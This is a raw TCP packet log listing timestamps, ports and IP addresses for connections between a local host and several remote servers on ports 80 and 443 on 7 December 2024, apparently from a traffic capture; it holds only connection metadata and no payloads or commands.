Dec 7, 2024 22:40:14.072917938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.072967052 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.073056936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.073107004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.073827982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.073910952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.073914051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.073961973 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.074629068 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.074682951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.074754000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.074815035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.075556040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.075620890 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.075640917 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.075690985 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.076467037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.076555967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.076562881 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.076621056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.077270985 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.077321053 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.077358007 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.077409029 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.086973906 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:14.086999893 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:14.087088108 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:14.087435961 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:14.087449074 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:14.134155035 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.134213924 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.134334087 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.134567022 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.134691000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.134738922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.134779930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.134790897 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.134807110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.135565996 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.135622978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.135651112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.135727882 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.136459112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.136513948 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.136568069 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.136611938 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.137301922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.137356997 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.137409925 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.137449980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.138176918 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.138233900 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.138297081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.138443947 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.139062881 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.139146090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.139163017 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.139224052 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.139945030 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.139991999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.140033007 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.140099049 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.140814066 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.140856981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.140887976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.140952110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.141664028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.141716003 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.141786098 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.141829967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.142530918 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.142580986 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.142635107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.142682076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.143503904 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.143588066 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.143620014 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.143682003 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.144313097 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.144366026 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.144500017 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.144556999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.145140886 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.145195961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.145268917 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.145389080 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.146015882 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.146090984 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.146126032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.146178961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.146882057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.146950960 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.146956921 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.146997929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.147799015 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.147860050 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.147963047 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.148082018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.148616076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.148669004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.148780107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.148837090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.149539948 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.149585962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.149590015 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.149658918 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.150374889 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.150456905 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.150480032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.150532961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.151262045 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.151328087 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.151357889 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.151408911 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.152122974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.152174950 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.152288914 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.152339935 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.153042078 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.153093100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.153155088 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.153222084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.153858900 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.153908968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.153938055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.154005051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.154736996 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.154788017 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.154875994 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.154926062 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.155606985 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.155672073 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.155704021 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.155752897 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.156485081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.156544924 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.156575918 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.156632900 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.157341003 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.157401085 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.157428980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.157505035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.158250093 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.158307076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.158318043 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.158376932 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.159079075 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.159147024 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.159183025 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.159240007 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.159975052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.160022974 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.160109997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.160157919 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.160821915 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.160877943 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.160943985 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.160990000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.161704063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.161775112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.161798954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.161815882 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:15.580460072 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.580482960 CET	443	49712	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:15.580554962 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.581195116 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.581244946 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:15.581305027 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.582997084 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.583013058 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:15.583108902 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.583120108 CET	443	49712	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:15.597341061 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.597362995 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:15.597635984 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.597635984 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.597664118 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:15.712059975 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.712079048 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:15.712141991 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.712440968 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:15.712450981 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:15.827083111 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:15.827145100 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:15.831403017 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:15.831413984 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:15.831629038 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:15.849195957 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:15.891330004 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.315572023 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.315596104 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.315609932 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.315648079 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.315676928 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.315696001 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.315723896 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.486505985 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.486538887 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.486572981 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.486591101 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.486618996 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.486635923 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.526626110 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.526644945 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.526715994 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.526736021 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.526875019 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.663968086 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.663997889 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.664040089 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.664058924 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.664102077 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.664124966 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.695065022 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.695086002 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.695202112 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.695220947 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.695485115 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.727890968 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.727907896 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.728024960 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.728033066 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.728148937 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.750859022 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.750875950 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.751033068 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.751039028 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.751102924 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.850454092 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.850478888 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.850651979 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.850660086 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.851106882 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.868124962 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.868140936 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.868295908 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.868295908 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.868303061 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.868345022 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.884207010 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.884222984 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.884306908 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.884313107 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.884511948 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.897393942 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.897416115 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.897633076 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.897639036 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.899105072 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.913583040 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.913599968 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.913803101 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.913808107 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.915101051 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.926712990 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.926728964 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.926800966 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.926806927 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.926901102 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.933135986 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.933190107 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.933208942 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.933240891 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.933301926 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.933314085 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.933322906 CET	49710	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.933327913 CET	443	49710	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.970921993 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.970953941 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.971117973 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.972126961 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.972158909 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.972599030 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.972767115 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.972786903 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.973967075 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.973977089 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.974080086 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.974169970 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.974175930 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.974572897 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.974587917 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.975492954 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.975503922 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.975594997 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.975779057 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.975794077 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.976373911 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.976408005 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:16.976484060 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.976598024 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:16.976612091 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:17.277935982 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.278187037 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.278209925 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.278229952 CET	443	49712	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.278398991 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.278410912 CET	443	49712	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.279247999 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.279320002 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.279503107 CET	443	49712	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.279561043 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.280508041 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.280575991 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.281013012 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.281128883 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.281200886 CET	443	49712	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.281236887 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.308593035 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.308780909 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.308808088 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.309794903 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.309855938 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.310126066 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.310187101 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.310250998 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.323116064 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.323132038 CET	443	49712	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.323179960 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.323190928 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.351337910 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.354362965 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.354372978 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.370029926 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.370048046 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.402668953 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.412189007 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.413395882 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.413420916 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.414737940 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.414827108 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.415112972 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.415215969 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.415240049 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.455343962 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.463593960 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.463610888 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:17.510540962 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.570580959 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.570688963 CET	443	49712	142.250.181.68	192.168.2.6
